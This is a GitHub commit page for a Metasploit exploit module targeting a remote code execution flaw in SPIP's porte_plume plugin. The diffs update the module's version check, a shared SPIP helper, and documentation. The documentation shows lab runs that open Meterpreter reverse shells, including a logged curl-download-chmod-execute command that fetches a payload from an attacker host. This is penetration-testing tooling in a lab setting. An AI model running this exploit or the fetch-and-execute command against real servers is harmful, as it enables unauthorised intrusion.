Skip to content

Commit 43fabb0

Browse files
committed
Update doc + module + (mixin see rapid7#19444)
1 parent 37042d8 commit 43fabb0

File tree

3 files changed

+41
-57
lines changed

3 files changed

+41
-57
lines changed

documentation/modules/exploit/multi/http/spip_porte_plume_previsu_rce.md

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -121,40 +121,51 @@ exploit
121121
With `php/meterpreter/reverse_tcp`:
122122

123123
```
124-
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
124+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000
125125
126126
[*] Started reverse TCP handler on 192.168.1.36:4444
127127
[*] Running automatic check ("set AutoCheck false" to disable)
128128
[*] SPIP Version detected: 4.2.12
129-
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
129+
[+] SPIP version 4.2.12 is vulnerable.
130+
[*] Porte plume plugin version detected: 3.1.5
131+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.2.12) and bigup version (3.1.5) are vulnerable.
130132
[*] Preparing to send exploit payload to the target...
131133
[*] Sending exploit payload to the target...
132134
[*] Sending stage (39927 bytes) to 192.168.1.36
133-
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:56534) at 2024-08-19 19:43:18 +0200
135+
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.36:43974) at 2024-09-08 06:46:50 +0200
134136
135137
meterpreter > sysinfo
136138
Computer : linux
137-
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
139+
OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
138140
Meterpreter : php/linux
139141
```
140142

141143
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
142144

143145
```
144-
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
146+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000
145147
148+
[*] Command to run on remote host: curl -so ./gYBuGbOLFH http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./gYBuGbOLFH; ./gYBuGbOLFH &
149+
[*] Fetch handler listening on 192.168.1.36:8080
150+
[*] HTTP server started
151+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
146152
[*] Started reverse TCP handler on 192.168.1.36:4444
147153
[*] Running automatic check ("set AutoCheck false" to disable)
148154
[*] SPIP Version detected: 4.2.12
149-
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
155+
[+] SPIP version 4.2.12 is vulnerable.
156+
[*] Porte plume plugin version detected: 3.1.5
157+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.2.12) and bigup version (3.1.5) are vulnerable.
150158
[*] Preparing to send exploit payload to the target...
151159
[*] Sending exploit payload to the target...
160+
[*] Client 192.168.1.36 requested /LoPlnjEpeOexZNVppn6cAA
161+
[*] Sending payload to 192.168.1.36 (curl/7.81.0)
162+
[*] Transmitting intermediate stager...(126 bytes)
152163
[*] Sending stage (3045380 bytes) to 192.168.1.36
153-
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.1.36:59106) at 2024-08-19 19:44:40 +0200
164+
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.36:60244) at 2024-09-08 06:47:47 +0200
154165
155166
meterpreter > sysinfo
156167
Computer : 192.168.1.36
157-
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
168+
OS : LinuxMint 21.3 (Linux 5.15.0-119-generic)
158169
Architecture : x64
159170
BuildTuple : x86_64-linux-musl
160171
Meterpreter : x64/linux

lib/msf/core/exploit/remote/http/spip.rb

Lines changed: 7 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -47,48 +47,17 @@ def spip_version
4747
# @param [String] plugin_name Name of the plugin to search for
4848
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
4949
def spip_plugin_version(plugin_name)
50-
res = send_request_cgi(
51-
'method' => 'GET',
52-
'uri' => normalize_uri(target_uri.path, 'spip.php')
53-
)
54-
50+
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'spip.php'))
5551
return unless res
5652

57-
# Check the Composed-By header for plugin version or config.txt URL
5853
composed_by = res.headers['Composed-By']
59-
return unless composed_by
60-
61-
# Case 1: Look for config.txt URL in the header
62-
if composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i
63-
config_url = ::Regexp.last_match(1)
64-
vprint_status("Found config.txt URL: #{config_url}")
65-
66-
# Fetch and parse the config.txt file directly
67-
config_res = send_request_cgi(
68-
'method' => 'GET',
69-
'uri' => config_url
70-
)
71-
72-
if config_res&.code == 200
73-
return parse_plugin_version(config_res.body, plugin_name)
74-
end
75-
end
76-
77-
# Case 2: Check for plugin version directly in Composed-By
78-
composed_by.split(',').each do |entry|
79-
if entry =~ /#{plugin_name}\((\d+(\.\d+)+)\)/
80-
return Rex::Version.new(::Regexp.last_match(1))
81-
end
82-
end
83-
84-
# Case 3: Fallback to fetching /local/config.txt directly
85-
vprint_status('No version found in Composed-By header. Attempting to fetch /local/config.txt directly.')
86-
config_url = normalize_uri(target_uri.path, 'local', 'config.txt')
87-
config_res = send_request_cgi(
88-
'method' => 'GET',
89-
'uri' => config_url
90-
)
54+
# Case 1: Check if 'Composed-By' header is present and not empty
55+
version = composed_by&.present? ? parse_plugin_version(composed_by, plugin_name) : nil
56+
return version if version
9157

58+
# Case 2: Extract URL from 'Composed-By' header and send a request to fetch the config.txt file
59+
config_url = composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i ? ::Regexp.last_match(1) : normalize_uri(target_uri.path, 'local', 'config.txt')
60+
config_res = send_request_cgi('method' => 'GET', 'uri' => config_url)
9261
return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200
9362

9463
nil

modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb

Lines changed: 15 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ def initialize(info = {})
7272
end
7373

7474
def check
75-
rversion = spip_version
75+
rversion = spip_version || spip_plugin_version('spip')
7676
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion
7777

7878
print_status("SPIP Version detected: #{rversion}")
@@ -83,22 +83,26 @@ def check
8383
{ start: Rex::Version.new('0.0.0'), end: Rex::Version.new('4.0.99') }
8484
]
8585

86-
vulnerable_ranges.each do |range|
87-
next unless rversion.between?(range[:start], range[:end])
86+
is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }
8887

89-
print_status('SPIP version is in the vulnerable range.')
88+
unless is_vulnerable
89+
return CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
90+
end
9091

91-
plugin_version = spip_plugin_version('porte_plume')
92+
print_good("SPIP version #{rversion} is vulnerable.")
93+
plugin_version = spip_plugin_version('porte_plume')
94+
print_status("Porte plume plugin version detected: #{plugin_version}")
9295

93-
unless plugin_version
94-
print_warning('Could not determine the version of the porte_plume plugin.')
95-
return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
96-
end
96+
unless plugin_version
97+
print_warning('Could not determine the version of the porte_plume plugin.')
98+
return CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
99+
end
97100

98-
return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) and porte_plume version (#{plugin_version}) are vulnerable.") if plugin_version < Rex::Version.new('3.1.6')
101+
if plugin_version < Rex::Version.new('3.1.6')
102+
return CheckCode::Appears("Both the detected SPIP version (#{rversion}) and porte_plume version (#{plugin_version}) are vulnerable.")
99103
end
100104

101-
return Exploit::CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
105+
CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
102106
end
103107

104108
def php_exec_cmd(encoded_payload)

0 commit comments

Comments
 (0)